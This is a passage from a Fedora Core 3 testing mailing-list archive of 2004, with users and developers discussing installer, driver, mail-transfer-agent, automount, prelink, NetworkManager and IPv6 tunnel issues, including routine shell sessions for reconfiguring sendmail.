<200411020950.JAA18845@internal.tigress.co.uk> <1099399096.25249.18.camel@topicus6> <1099415528.3702.2.camel@scania> Message-ID: <4187DA7B.4030204@adtran.com> hi- This is mostly a cosmetic issue, but if one opens the FC3T3rc3 "Rlease Notes" window of the installer, the last char of section headings, bullet points, and some bold text is wrapped around to the next line, for example: "make oldconfig" is displayed as: "make oldconfi g" ron From fedora at nodata.co.uk Tue Nov 2 19:13:04 2004 From: fedora at nodata.co.uk (nodata) Date: Tue, 2 Nov 2004 20:13:04 +0100 (CET) Subject: FC3T3rc3: 'Release Notes' output error In-Reply-To: <4187DA7B.4030204@adtran.com> References: <200411020950.JAA18845@internal.tigress.co.uk> <1099399096.25249.18.camel@topicus6> <1099415528.3702.2.camel@scania> <4187DA7B.4030204@adtran.com> Message-ID: <1153.80.108.1.175.1099422784.squirrel@80.108.1.175> > hi- > > This is mostly a cosmetic issue, but if one opens the > FC3T3rc3 "Rlease Notes" window of the installer, the last char > of section headings, bullet points, and some bold text is wrapped > around to the next line, for example: > > "make oldconfig" is displayed as: > > "make oldconfi > g" > > ron > > -- > fedora-test-list mailing list > fedora-test-list at redhat.com > To unsubscribe: > http://www.redhat.com/mailman/listinfo/fedora-test-list > I think that's a known problem. Something to do with a Python/anaconda html library and nested lists methinks. Might be wrong.. From pnasrat at redhat.com Tue Nov 2 19:29:18 2004 From: pnasrat at redhat.com (Paul Nasrat) Date: Tue, 02 Nov 2004 14:29:18 -0500 Subject: Kudos to whomever worked on the synaptics touchpad driver ! In-Reply-To: <1099290666.3557.30.camel@localhost.localdomain> References: <1099245855.4691.5.camel@localhost.localdomain> <1099290666.3557.30.camel@localhost.localdomain> Message-ID: <1099423758.4867.8.camel@anu.eridu> On Mon, 2004-11-01 at 00:31 -0600, Rodolfo J. Paiz wrote: > On Sun, 2004-10-31 at 11:04 -0700, Kim Lux wrote: > > I'm using the new synaptics touchpad driver on my HP ZD7280. It works > > very, very well, better than it does in Windows. The scroll function is > > really handy. > > > > And now that we've got the synaptics code team happy, can I bug y'all to > PLEASE remove the dependency whereby rhpl requires synaptics? For FC4 sure - have you logged it in bugzilla? If not please file against rhpl and CC me. Paul From pnasrat at redhat.com Tue Nov 2 19:39:57 2004 From: pnasrat at redhat.com (Paul Nasrat) Date: Tue, 02 Nov 2004 14:39:57 -0500 Subject: Kudos to whomever worked on the synaptics touchpad driver ! In-Reply-To: <1099407548.3368.16.camel@rodolfo.gt.factorrent.com> References: <1099245855.4691.5.camel@localhost.localdomain> <1099290666.3557.30.camel@localhost.localdomain> <1099329020.3557.45.camel@localhost.localdomain> <1099353440.3557.104.camel@localhost.localdomain> <1099359379.3557.110.camel@localhost.localdomain> <1099407548.3368.16.camel@rodolfo.gt.factorrent.com> Message-ID: <1099424397.4867.13.camel@anu.eridu> On Tue, 2004-11-02 at 08:59 -0600, Rodolfo J. Paiz wrote: > Will it make me a bad person to say I'm starting to get very > disenchanted with Bugzilla? If that's the primary means to track and > resolve bugs, then I am all the more impressed with the work individual > developers do since it doesn't seem to be all that useful (to be kind). It's far better to have things in bugzilla than random mail - it's easier to track, etc. Particularly having been away for a few days. > So how do you suggest I file it? Against rhpl which requires synaptics? > Against synaptics which requires xorg*? Gotta say I'm not sure how to go > about this here. Against rhpl, the fix will be better run time detection of both h/w and conditional on if the driver is available. The same needs to be done for wacom tablets too. Paul From whooperhsd3 at earthlink.net Tue Nov 2 20:09:53 2004 From: whooperhsd3 at earthlink.net (William Hooper) Date: Tue, 2 Nov 2004 15:09:53 -0500 (EST) Subject: FC3 PPC development tree / installing FC3 on ibook2001 + B&W PowerMacG3 In-Reply-To: <587.1099416812@www72.gmx.net> References: <587.1099416812@www72.gmx.net> Message-ID: <4726.12.29.16.103.1099426193.squirrel@whooper.org> Markus Nicolussi said: > Hello! > > > i sucked the ppc-devel-tree to my hd [snip] > What does the "p" in pseries mean? Performa or > PowerMac? Neither. http://www-1.ibm.com/servers/eserver/pseries/ -- William Hooper From cpg at users.sourceforge.net Tue Nov 2 20:18:49 2004 From: cpg at users.sourceforge.net (Carlos Puchol) Date: Tue, 2 Nov 2004 12:18:49 -0800 Subject: sendmail dropping outgoing email on the floor In-Reply-To: <41878EAF.9070706@redhat.com> References: <20041027230908.GA31600@rome.puchol.com> <1098929044.18072.342.camel@serendipity.dogma.lan> <20041028054226.GA529@rome.puchol.com> <20041101230945.GA8424@rome.puchol.com> <41878EAF.9070706@redhat.com> Message-ID: <20041102201849.GA3670@rome.puchol.com> hi thomas, thanks for your reply. Thomas Woerner wrote: > at the moment you are using a copy of postfix and not sendmail. yes, i changed out of frustration. > First of all: Why is /usr/sbin/sendmail a copy and not a soft-link? > alternatives generates soft-links. it is a soft link. notice i used -L in the examples. [12:09:43](1)rome:~$ ll /usr/sbin/sendmail* lrwxrwxrwx 1 root root 21 Oct 22 22:45 /usr/sbin/sendmail -> /etc/alternatives/mta lrwxrwxrwx 1 root root 4 Oct 22 23:09 /usr/sbin/sendmail.exim -> exim -rwxr-xr-x 1 root root 141344 Aug 5 08:03 /usr/sbin/sendmail.postfix -rwxr-sr-x 1 root smmsp 748296 Sep 1 03:20 /usr/sbin/sendmail.sendmail [12:09:49](1)rome:~$ > Have you made this change by hand? nothing like changing owners/groups (i know better than that). below is what i did by hand. i repeated now. of course, with murphy presented itself, so now i don't see things changing. the only thing i can think of is that to get to a root prompt, i may have done just su, not su - or ssh into root. does simple su (without a login shell) have traces of the invoking user? in the trace below, i do what i did the other day. however, this time i have postfix as the alternative agent. how do i change the default mta to sendmail via a command line? (i usually do it via the applet thingie, but i am not using X at the moment - only remote shell in use.) [11:33:17](1)rome:~# ll -L /usr/sbin/sendmail* -rwxr-xr-x 1 root root 141344 Aug 5 08:03 /usr/sbin/sendmail -rwsr-xr-x 1 root root 2089729 Sep 13 09:20 /usr/sbin/sendmail.exim -rwxr-xr-x 1 root root 141344 Aug 5 08:03 /usr/sbin/sendmail.postfix -rwxr-xr-x 1 cpg users 748296 Sep 1 03:20 /usr/sbin/sendmail.sendmail [11:33:19](1)rome:~# rpm -q sendmail sendmail-8.13.1-2 [11:33:25](1)rome:~# [11:33:59](1)rome:~# rpm -e sendmail warning: /var/log/mail/statistics saved as /var/log/mail/statistics.rpmsave warning: /etc/mail/submit.cf saved as /etc/mail/submit.cf.rpmsave warning: /etc/mail/sendmail.mc saved as /etc/mail/sendmail.mc.rpmsave warning: /etc/mail/sendmail.cf saved as /etc/mail/sendmail.cf.rpmsave [11:34:07](1)rome:~# ll -L /usr/sbin/sendmail* -rwxr-xr-x 1 root root 141344 Aug 5 08:03 /usr/sbin/sendmail -rwsr-xr-x 1 root root 2089729 Sep 13 09:20 /usr/sbin/sendmail.exim -rwxr-xr-x 1 root root 141344 Aug 5 08:03 /usr/sbin/sendmail.postfix [11:34:10](1)rome:~# [11:36:28](1)rome:~# rpm -Uvh /tmp/sendmail-8.13.1-2.x86_64.rpm warning: /tmp/sendmail-8.13.1-2.x86_64.rpm: V3 DSA signature: NOKEY, key ID 30c9ecf8 Preparing... ########################################### [100%] 1:sendmail ########################################### [100%] [11:36:50](1)rome:~# ll -L /usr/sbin/sendmail* -rwxr-xr-x 1 root root 141344 Aug 5 08:03 /usr/sbin/sendmail -rwsr-xr-x 1 root root 2089729 Sep 13 09:20 /usr/sbin/sendmail.exim -rwxr-xr-x 1 root root 141344 Aug 5 08:03 /usr/sbin/sendmail.postfix -rwxr-sr-x 1 root smmsp 748296 Sep 1 03:20 /usr/sbin/sendmail.sendmail [11:37:06](1)rome:~# [11:37:06](1)rome:~# cd /etc/mail 11:48:56](1)rome:mail# cat my.diff --- sendmail.mc 2004-09-01 03:20:22.000000000 -0700 +++ sendmail.mc.rpmsave 2004-10-27 22:31:37.000000000 -0700 -dnl define(`SMART_HOST',`smtp.your.provider') +define(`SMART_HOST',`smtp.comcast.net') dnl # define(`confDEF_USER_ID',``8:12'')dnl dnl define(`confAUTO_REBUILD')dnl @@ -150,13 +150,14 @@ dnl # dnl # masquerade not just the headers, but the envelope as well dnl # -dnl FEATURE(masquerade_envelope)dnl +FEATURE(masquerade_envelope)dnl dnl # dnl # masquerade not just @mydomainalias.com, but @*.mydomainalias.com as well dnl # dnl FEATURE(masquerade_entire_domain)dnl dnl # -dnl MASQUERADE_DOMAIN(localhost)dnl +MASQUERADE_DOMAIN(mydomain.com)dnl +MASQUERADE_AS(mydomain.com)dnl dnl MASQUERADE_DOMAIN(localhost.localdomain)dnl dnl MASQUERADE_DOMAIN(mydomainalias.com)dnl dnl MASQUERADE_DOMAIN(mydomain.lan)dnl [11:49:00](1)rome:mail# [11:49:34](1)rome:mail# patch -p0 < my.diff patching file sendmail.mc [11:49:43](1)rome:mail# make -C /etc/mail make: Entering directory `/etc/mail' make: Leaving directory `/etc/mail' [11:50:48](1)rome:mail# [11:53:55](1)rome:mail# ll -L /usr/sbin/sendmail* -rwxr-xr-x 1 root root 141344 Aug 5 08:03 /usr/sbin/sendmail -rwsr-xr-x 1 root root 2089729 Sep 13 09:20 /usr/sbin/sendmail.exim -rwxr-xr-x 1 root root 141344 Aug 5 08:03 /usr/sbin/sendmail.postfix -rwxr-sr-x 1 root smmsp 748296 Sep 1 03:20 /usr/sbin/sendmail.sendmail [11:54:00](1)rome:mail# reboot ... [12:11:11](1)rome:~$ ll -L /usr/sbin/sendmail* -rwxr-xr-x 1 root root 141344 Aug 5 08:03 /usr/sbin/sendmail -rwsr-xr-x 1 root root 2089729 Sep 13 09:20 /usr/sbin/sendmail.exim -rwxr-xr-x 1 root root 141344 Aug 5 08:03 /usr/sbin/sendmail.postfix -rwxr-sr-x 1 root smmsp 748296 Sep 1 03:20 /usr/sbin/sendmail.sendmail [12:11:14](1)rome:~$ From michal at harddata.com Tue Nov 2 20:28:03 2004 From: michal at harddata.com (Michal Jaegermann) Date: Tue, 2 Nov 2004 13:28:03 -0700 Subject: Recognising Partitions In-Reply-To: <1099419831.5774.19.camel@davidz>; from david@fubar.dk on Tue, Nov 02, 2004 at 01:23:51PM -0500 References: <1099414688.3509.7.camel@localhost.localdomain> <1099419831.5774.19.camel@davidz> Message-ID: <20041102132803.A16771@mail.harddata.com> On Tue, Nov 02, 2004 at 01:23:51PM -0500, David Zeuthen wrote: > > It did disappear on purpose, however you may remove this section > > > > > > type="bool">false > > > > > from your /usr/share/hal/fdi/90systempolicy/storage-policy.fdi but do > note that this may be replaced on hal updates. A question. If one will drop into /usr/share/hal/fdi/95.... a .fdi file which looks like that fragment above but with true will be this not an override for whatever happen to be system defaults? > (right now we may wrongly add entries for block devices stemming from > IDE RAID controllers, that's partly why we pulled this feature). As far as I understand this is only one of possible nasty suprises with "should_mount" set to widely to "true". Some of them we may yet to see. :-) OTOH if there would be application allowing 'root' to generate these XML files without doing that "raw", and while presenting a clear picture of keys and values, that would be nice. Michal From kyrre at solution-forge.net Tue Nov 2 20:35:44 2004 From: kyrre at solution-forge.net (Kyrre Ness Sjobak) Date: Tue, 02 Nov 2004 21:35:44 +0100 Subject: FC3T3rc3: 'Release Notes' output error In-Reply-To: <1153.80.108.1.175.1099422784.squirrel@80.108.1.175> References: <200411020950.JAA18845@internal.tigress.co.uk> <1099399096.25249.18.camel@topicus6> <1099415528.3702.2.camel@scania> <4187DA7B.4030204@adtran.com> <1153.80.108.1.175.1099422784.squirrel@80.108.1.175> Message-ID: <1099427743.4070.4.camel@kyrre> Is the releasenotes anywhere to be found? Just wanna take a look at it :) tir, 02.11.2004 kl. 20.13 skrev nodata: > > hi- > > > > This is mostly a cosmetic issue, but if one opens the > > FC3T3rc3 "Rlease Notes" window of the installer, the last char > > of section headings, bullet points, and some bold text is wrapped > > around to the next line, for example: > > > > "make oldconfig" is displayed as: > > > > "make oldconfi > > g" > > > > ron > > > > -- > > fedora-test-list mailing list > > fedora-test-list at redhat.com > > To unsubscribe: > > http://www.redhat.com/mailman/listinfo/fedora-test-list > > > > I think that's a known problem. > Something to do with a Python/anaconda html library and nested lists > methinks. Might be wrong.. From kyrre at solution-forge.net Tue Nov 2 20:44:22 2004 From: kyrre at solution-forge.net (Kyrre Ness Sjobak) Date: Tue, 02 Nov 2004 21:44:22 +0100 Subject: Recognising Partitions In-Reply-To: <1099417412.20601.10.camel@decepticon.boston.redhat.com> References: <1099414688.3509.7.camel@localhost.localdomain> <20041102102917.A9761@mail.harddata.com> <1099417412.20601.10.camel@decepticon.boston.redhat.com> Message-ID: <1099428262.4070.6.camel@kyrre> tir, 02.11.2004 kl. 18.43 skrev Colin Walters: > On Tue, 2004-11-02 at 10:29 -0700, Michal Jaegermann wrote: > > which selinux can make > > unmountable there by adding attributes - ugh!, > > This is not SELinux's fault. If you created ACLs there things also blow > up. I'm pretty sure if you even create small (fast) symlinks, old ext3 > versions get confused. It's clearly an ext3 bug wrt backwards > compatibility. Of cource it is SELinux! It is _ALWAYS_ SELinux! *joking* From kyrre at solution-forge.net Tue Nov 2 20:46:29 2004 From: kyrre at solution-forge.net (Kyrre Ness Sjobak) Date: Tue, 02 Nov 2004 21:46:29 +0100 Subject: Recognising Partitions In-Reply-To: <20041102105510.A12801@mail.harddata.com> References: <1099414688.3509.7.camel@localhost.localdomain> <20041102102917.A9761@mail.harddata.com> <1099417412.20601.10.camel@decepticon.boston.redhat.com> <20041102105510.A12801@mail.harddata.com> Message-ID: <1099428389.4070.9.camel@kyrre> tir, 02.11.2004 kl. 18.55 skrev Michal Jaegermann: > On Tue, Nov 02, 2004 at 12:43:32PM -0500, Colin Walters wrote: > > On Tue, 2004-11-02 at 10:29 -0700, Michal Jaegermann wrote: > > > which selinux can make > > > unmountable there by adding attributes - ugh!, > > > > This is not SELinux's fault. If you created ACLs there things also blow > > up. > > I am not saying that this SELinux's fault. But if a filesystem got > mounted in a "stealth mode" that something may get "helpful" and > will add for you bits-and-pieces which you never wanted there in > the first place and which will mess up that filesystem for original > purposes. That is one of reason why an indiscriminate mounting of > everything which looks like mountable is really bad. > > Michal Is it possible to have the kernel to detect an "old-format" ext, and mount it in "compitability mode"? And if you wanted to add the extra bits'n'pieces - tune2fs --something? From kyrre at solution-forge.net Tue Nov 2 20:47:59 2004 From: kyrre at solution-forge.net (Kyrre Ness Sjobak) Date: Tue, 02 Nov 2004 21:47:59 +0100 Subject: Latest FC3RC? In-Reply-To: <41870D41.20103@earthlink.net> References: <30988346.1099366465201.JavaMail.root@thecount.psp.pas.earthlink.net> <41870D41.20103@earthlink.net> Message-ID: <1099428479.4070.11.camel@kyrre> Will there be another RC? just asking, cus if there will be one (and it comes before friday) i shall download and test. tir, 02.11.2004 kl. 05.29 skrev Gerry Tool: > Diahron Grismore wrote: > > >I have been away from my computer for a while and I would like to know what is the latest 'rc#' and from where can I download it. I would like to get it for both, an i386-32bit and 64bit system, to test. Thanks for the info in advance. > > > > > > > http://sunsite.mff.cuni.cz/OS/Linux/Dist/Fedora.RC/3/i386/iso/ > > or > > ftp://sunsite.mff.cuni.cz/OS/Linux/Dist/Fedora.RC/3/i386/iso/ > > have the isos for FC3 RC5. > > Gerry From rodd at clarkson.id.au Tue Nov 2 20:51:18 2004 From: rodd at clarkson.id.au (Rodd Clarkson) Date: Wed, 03 Nov 2004 07:51:18 +1100 Subject: NetworkManager Issues In-Reply-To: <77e74f3e04110207476002a81c@mail.gmail.com> References: <77e74f3e04110207476002a81c@mail.gmail.com> Message-ID: <1099428678.13723.2.camel@localhost.localdomain> On Tue, 2004-11-02 at 10:47 -0500, Amitabha Roy wrote: > Btw, can someone please tell me how to run NetworkManagerInfo on gnome startup > automatically, rather than open up a console and run NetworkManagerInfo ? You can do this for anything in gnome as follows: Applications > Preferences > More Preferences > Sessions In the Startup Programs tab add the item, and unless you've got a good reason, set the order above 50 so it doesn't tangle with other stuff starting gnome. Rodd -- >From the pain come the dream >From the dream come the vision >From the vision come the people >From the people come the power >From this power come the change - Peter Gabriel From kyrre at solution-forge.net Tue Nov 2 20:52:49 2004 From: kyrre at solution-forge.net (Kyrre Ness Sjobak) Date: Tue, 02 Nov 2004 21:52:49 +0100 Subject: Issue in glibc in FC3T3 ? In-Reply-To: <200411020950.JAA18845@internal.tigress.co.uk> References: <200411020950.JAA18845@internal.tigress.co.uk> Message-ID: <1099428769.4070.16.camel@kyrre> tir, 02.11.2004 kl. 10.50 skrev Ron Yorston: > >Elliot Lee wrote: > >On Thu, 28 Oct 2004, Kim Lux (Mr.) wrote: > > > >> I did a freshen of both Qt and Glibc and now I've got prelink and ld > >> running as root !!!!???? Prelink is stealing all my cpu cycles. What is > >> up with that ? I finally had to kill it.. > > > >prelink speeds up app startup - it does the work once to save startup > >times repeatedly. > > I'm not convinced, for my pattern of usage at least, that the game is > worth the candle. On my laptop I start my desktop, a few xterms and > maybe Mozilla, then leave them running. Any time that might be saved > on startup is outweighed by the inconvenience of having the system become > unresponsive when anacron kicks in to perform the prelinking. Which > always seems to happen at the most awkward moment. (Yes, I know I can > turn it off. And I have.) > > Prelink seems to do an enormous amount of work when it runs. Have the > developers checked that all of this effort is really necessary? > > What might help would be the ability to limit the resources (CPU, disk > I/O, whatever) that are used by background processes. Nice is nice, but > not powerful enough. Something like cpucap > > http://www.rshk.co.uk/projects/cpucap/ > > would seem to be a better option. > agreed. But as far as i know, the CPU is seldom the limiting factor when running a multi-tasking OS such as Linux. And i am using a 650 Mhz. What i mean, is that i hardly notice when the CPU is chrunching away at full speed, but when something hits disk (updatedb and sometimes memory (OpenOffice dictionary load) hard - it is noticed. From kyrre at solution-forge.net Tue Nov 2 20:56:40 2004 From: kyrre at solution-forge.net (Kyrre Ness Sjobak) Date: Tue, 02 Nov 2004 21:56:40 +0100 Subject: Issue in glibc in FC3T3 ? In-Reply-To: <1099415528.3702.2.camel@scania> References: <200411020950.JAA18845@internal.tigress.co.uk> <1099399096.25249.18.camel@topicus6> <1099415528.3702.2.camel@scania> Message-ID: <1099429000.4070.19.camel@kyrre> tir, 02.11.2004 kl. 18.12 skrev Per Bjornsson: > On Tue, 2004-11-02 at 04:38, Klaasjan Brand wrote: > > > >prelink speeds up app startup - it does the work once to save startup > > > >times repeatedly. > > > > Then isn't it more convenient to run it when installing packages using > > rpm (when I expect some thrashing) and let the user decide if and when > > to prelink manually installed packages? > > Not really, since when you install a new library everything that links > to it needs to be prelinked again. Say there's a glibc update; do you > really want the computer to thrash for between 10 minutes and half an > hour, depending on how fast your hardware is? > It wouldn't be a big problem - if there was an option not to do it, rpm was freed (so you could bacground it/open another console and install another package), and it was stoppable (control+c). > From bartk at clara.co.uk Tue Nov 2 21:11:39 2004 From: bartk at clara.co.uk (Bart Kalita) Date: Tue, 02 Nov 2004 21:11:39 +0000 Subject: Where is Quanta+? In-Reply-To: <4186D63E.6030501@earthlink.net> References: <4186B295.7080903@earthlink.net> <1099346788.4454.26.camel@localhost.localdomain> <1099347534.3296.27.camel@peace> <1099348775.4549.0.camel@localhost.localdomain> <4186CBB1.8040306@earthlink.net> <1099353841.12668.4.camel@nemesis.astradine.net> <1099354012.4936.8.camel@localhost.localdomain> <4186D63E.6030501@earthlink.net> Message-ID: <1099429899.20712.0.camel@nemesis.astradine.net> On Mon, 2004-11-01 at 18:35 -0600, Gerry Tool wrote: > Kim Lux wrote: > > >The help screen says I have Quanta 3.3.0. > > > >It launches from the command line with quanta. > > > >kdewebdev doesn't launch anything. > > > > > >On Tue, 2004-11-02 at 00:04 +0000, Bart Kalita wrote: > > > > > >>Isn't quanta package 3.3 now called kdewebdev? > >> > >>On Mon, 2004-11-01 at 17:50 -0600, Gerry Tool wrote: > >> > >> > >>>Kim Lux wrote: > >>> > >>> > >>> > >>>>I just found "Quanta Plus" under the programming menu in my FC3rc3+ > >>>>install. > >>>> > >>>> > >>>> > >>>> > >>>> > >>>That's interesting. That is where I would expect to find it, but the > >>>rpm for it is not on the DVD I made for FC3R5. > >>> > >>>Can anyone find it on the CDs for FC3R5? > >>> > >>>Thanks. > >>> > >>>Gerry > >>> > >>> > >>> > > > > > > > I installed kdwebdev from Add/Remove Applications > Graphical Internet, > and indeed, Quanta + 3.3 is now available. > > How did you know that, Bart? > > Gerry I had a look at quanta sourceforge page :-) From timothy at jupiter.stcl.edu Tue Nov 2 21:21:28 2004 From: timothy at jupiter.stcl.edu (Timothy Sandel) Date: Tue, 02 Nov 2004 15:21:28 -0600 Subject: 1440x900 supported on FC3 Message-ID: <1099430488.3330.5.camel@saturn.stcl.edu> I've got an HP zd7310 laptop on order which comes with a 17" widesreen display that does 1440x900 and nVidia Geforce Go5200 and was wondering if FC3 will support that kind of video setup. It is shipped with WinXP Home. Gasp! Thanks, Timothy From thomasz at hostmaster.org Tue Nov 2 21:41:07 2004 From: thomasz at hostmaster.org (Thomas Zehetbauer) Date: Tue, 02 Nov 2004 22:41:07 +0100 Subject: Solved: IPv6 tunneling broken in latest rawhide? In-Reply-To: <1099335377.3833.0.camel@hostmaster.org> References: <1099335377.3833.0.camel@hostmaster.org> Message-ID: <1099431667.4618.59.camel@hostmaster.org> Hi, after some lengthy debugging session :-( I have found that it was not a rawhide update but system-config-network which has caused my IPv6 tunnel to fail. Just starting this application and changing the configuration of my eth0 device caused a line reading "TYPE=Ethernet" to be added to my /etc/sysconfig/network-scripts/ifcfg-sit1 which in turn caused ifup to call ifup-eth instead of ifup-sit. I have created a bugzilla tracker for this: https://bugzilla.redhat.com/bugzilla/show_bug.cgi?id=137898 Tom -- T h o m a s Z e h e t b a u e r ( TZ251 ) PGP encrypted mail preferred - KeyID 96FFCB89 finger thomasz at hostmaster.org for key If there is a god, you are an authorized representative. -------------- next part -------------- A non-text attachment was scrubbed... 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Gasp! > > Thanks, > > Timothy I'm sure it will "support" the setup, the question is whether or not the 1440x900 resolution will be automatically supported or if you will have to hand-write a ModeLine for it (which you might want to do anyway because it's a whole lot of fun *grimace*). Have you tried running FC2 on it? That's probably the best way to tell. If it works under FC2 it'll probably work under FC3. If it doesn't, well, it may still work under FC3 ;-P -- Shahms E. King Multnomah ESD Public Key: http://shahms.mesd.k12.or.us/~sking/shahms.asc Fingerprint: 1612 054B CE92 8770 F1EA AB1B FEAB 3636 45B2 D75B -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 189 bytes Desc: This is a digitally signed message part URL: From rpaiz at simpaticus.com Tue Nov 2 22:22:42 2004 From: rpaiz at simpaticus.com (Rodolfo J. Paiz) Date: Tue, 02 Nov 2004 16:22:42 -0600 Subject: Kudos to whomever worked on the synaptics touchpad driver ! In-Reply-To: References: <1099245855.4691.5.camel@localhost.localdomain> <1099290666.3557.30.camel@localhost.localdomain> <1099329020.3557.45.camel@localhost.localdomain> <1099353440.3557.104.camel@localhost.localdomain> <1099359379.3557.110.camel@localhost.localdomain> <1099407548.3368.16.camel@rodolfo.gt.factorrent.com> Message-ID: <1099434162.3368.74.camel@rodolfo.gt.factorrent.com> On Tue, 2004-11-02 at 09:53 -0600, Satish Balay wrote: > I would file it against 'rhpl'. The bug being 'rhpl' requiring > 'xorg-x11-libs' (due to synaptics)- causing 'up2date' to require > 'xorg-x11-libs' (and perhaps other xorg packages). > https://bugzilla.redhat.com/bugzilla/show_bug.cgi?id=137935 Any support welcome! It would be a Great Thing [tm] indeed if this change could be made before the release of FC3. Otherwise we (the users) are going to be forced to jump through a lot of hoops to remove this. Cheers, -- Rodolfo J. Paiz -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 189 bytes Desc: This is a digitally signed message part URL: From j.c.burton at gats-inc.com Tue Nov 2 22:26:57 2004 From: j.c.burton at gats-inc.com (John Burton) Date: Tue, 02 Nov 2004 17:26:57 -0500 Subject: ipw2100 drivers? Message-ID: <418809B1.8060209@gats-inc.com> Greetings again, Originally on this Compaq nx7000 laptop, I had PClinuxOS installed. It had an ipw2100 driver for centrino wireless (as well as an ntfs driver). I installed FC3-RC1 on it last week. Slowly getting everything figured out (will wait until I get the FC3 release before bothering with NTFS). One question I had, will there be an ipw2100 wireless network driver included in the FC3 final release? John -------------- next part -------------- A non-text attachment was scrubbed... Name: j.c.burton.vcf Type: text/x-vcard Size: 312 bytes Desc: not available URL: From rpaiz at simpaticus.com Tue Nov 2 22:29:01 2004 From: rpaiz at simpaticus.com (Rodolfo J. Paiz) Date: Tue, 02 Nov 2004 16:29:01 -0600 Subject: Kudos to whomever worked on the synaptics touchpad driver ! In-Reply-To: <1099423758.4867.8.camel@anu.eridu> References: <1099245855.4691.5.camel@localhost.localdomain> <1099290666.3557.30.camel@localhost.localdomain> <1099423758.4867.8.camel@anu.eridu> Message-ID: <1099434541.3368.79.camel@rodolfo.gt.factorrent.com> On Tue, 2004-11-02 at 14:29 -0500, Paul Nasrat wrote: > For FC4 sure - have you logged it in bugzilla? If not please file > against rhpl and CC me. > Filed as Bug #137935 (see my other post) against rhpl. Is there any possible way we can get this particular dependency removed before release of FC3? I mean hey... it only crawled in there very recently, it can't be *that* hard to dig out, right? Of course I'm kidding, and I know nothing is that easy. But really, for those of us installing boxes in 1GB or less of hard drive space, it really is an additional complication. The quicker it can be addressed, the better for us. You might find my efforts at slimming down FC3 interesting (and I could sure use any constructive feedback from you, too): http://www.simpaticus.com/linux/small-netserver-fc3-howto.php Cheers, -- Rodolfo J. Paiz -------------- next part -------------- A non-text attachment was scrubbed... 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This isn't normally a problem until you need something like Apache to serve out html then the problem becomes evident. Any information any one has would be greatly appreciated. Cheers, Aaron -------------- next part -------------- An HTML attachment was scrubbed... URL: From ziga.mahkovec at klika.si Tue Nov 2 23:24:36 2004 From: ziga.mahkovec at klika.si (Ziga Mahkovec) Date: Wed, 03 Nov 2004 00:24:36 +0100 Subject: NetworkManager Issues In-Reply-To: <1099414363.24262.14.camel@dcbw.boston.redhat.com> References: <77e74f3e04110207476002a81c@mail.gmail.com> <1099414363.24262.14.camel@dcbw.boston.redhat.com> Message-ID: <1099437876.16576.16.camel@serenity.klika.si> On Tue, 2004-11-02 at 11:52 -0500, Dan Williams wrote: > NetworkManager first tries to explicitly connect to the requested AP > with Shared Key mode, then unencrypted mode. What about Open System mode? NetworkManager fails to associate when my access point is set to Open System mode, yet works fine in Shared Key mode. I can make Open System mode work by manually slipping in an "iwconfig wlan0 key open". Given that Open System authentication is believed to be more secure (or should I say less neighbor-friendly), I think it should be supported as well. I use the ipw2100 driver (0.57) and NetworkManager from CVS. -- Ziga From mrguytx at austin.rr.com Tue Nov 2 23:36:39 2004 From: mrguytx at austin.rr.com (W. Guy Thomas) Date: Tue, 02 Nov 2004 17:36:39 -0600 Subject: 5 second cpu spike in FC3T3 In-Reply-To: <1099410683.26625.10.camel@cassandra.boston.redhat.com> References: <1099184393.3693.50.camel@guyleidadell> <200410302035.33258.linxt@comcast.net> <1099194319.3693.78.camel@guyleidadell> <41846432.4040200@speakeasy.net> <1099195701.3693.80.camel@guyleidadell> <1099254808.4746.2.camel@kyrre> <1099252271.3558.1.camel@guyleidadell> <1099261509.3558.10.camel@guyleidadell> <1099268086.3558.12.camel@guyleidadell> <1099410683.26625.10.camel@cassandra.boston.redhat.com> Message-ID: <1099438599.4142.9.camel@guyleidadell> On Tue, 2004-11-02 at 10:51 -0500, David Malcolm wrote: > On Sun, 2004-10-31 at 18:14 -0600, W. Guy Thomas wrote: > > > > > > > > > > > > > > > > > > > > > > Interesting. I changed it with "s", to .5 seconds. > > > The two things that pop up every 5 seconds are gkrellm itself, and > > > something vaguely named gtk2_applet2. > > > > > > So what is gtk2_applet2? > > > If it's an applet couldn't it be a java-something? > > > > > > Hmm, curiouser and curiouser. > > > > > > -- > > > =Guy > > > 16:23:31 up 7:01, 2 users, load average: 1.01, 0.49, 0.88 > > > > > > > let me revise that, sorry, it's gtik2_applet2 > > That's the Stock Ticker panel applet. Is it running? What kind of > settings does it have e.g. width, update frequency, number of stocks, > etc? > > > > > -- > > =Guy > > 18:14:14 up 8:52, 2 users, load average: 0.40, 0.27, 0.26 > > > Interesting. It sure is the stock ticker. It was set to slow speed, there are 6 stocks, update every 11 minutes, nothing else special. I even removed it from the panel and I see the same 5 second tick. It's especially noticeable in screensaver mode. The entire screen stops for a split second, then picks back up. Good call on the stock ticker, unfortunately it appears not to be the culprit. -- =Guy 17:34:25 up 21:11, 2 users, load average: 0.43, 1.07, 1.61 From g.graham at orrcon.com.au Tue Nov 2 23:08:31 2004 From: g.graham at orrcon.com.au (Gavin Graham) Date: Wed, 03 Nov 2004 09:08:31 +1000 Subject: Where O where has my Kernel source gone. In-Reply-To: <20041102170012.69FA37397A@hormel.redhat.com> References: <20041102170012.69FA37397A@hormel.redhat.com> Message-ID: <1099436911.20560.6.camel@gavin.orrcon.com.au> It seems that with the build for for kernel 2.6.9 that the source rpm has vanished..... Gavin Graham Systems Operations Supervisor Orrcon Information & Technology Orrcon Pty Ltd PO Box 295, Salisbury, Q. 4107 P: 07 32740549 E: g.graham at orrcon.com.au F: 07 32740691 M: 0409 897288 WWW: www.orrcon.com.au -------------- next part -------------- An HTML attachment was scrubbed... URL: From davej at redhat.com Tue Nov 2 23:46:19 2004 From: davej at redhat.com (Dave Jones) Date: Tue, 2 Nov 2004 18:46:19 -0500 Subject: Where O where has my Kernel source gone. In-Reply-To: <1099436911.20560.6.camel@gavin.orrcon.com.au> References: <20041102170012.69FA37397A@hormel.redhat.com> <1099436911.20560.6.camel@gavin.orrcon.com.au> Message-ID: <20041102234619.GE18758@redhat.com> On Wed, Nov 03, 2004 at 09:08:31AM +1000, Gavin Graham wrote: > It seems that with the build for for kernel 2.6.9 that the source rpm > has vanished..... It's pining for the fjords. It's an ex RPM. It's dead. gone. deceased. (a better subject may have been 'Why O why won't people read the archives' -- this comes up almost daily). Dave From rpaiz at simpaticus.com Tue Nov 2 23:52:53 2004 From: rpaiz at simpaticus.com 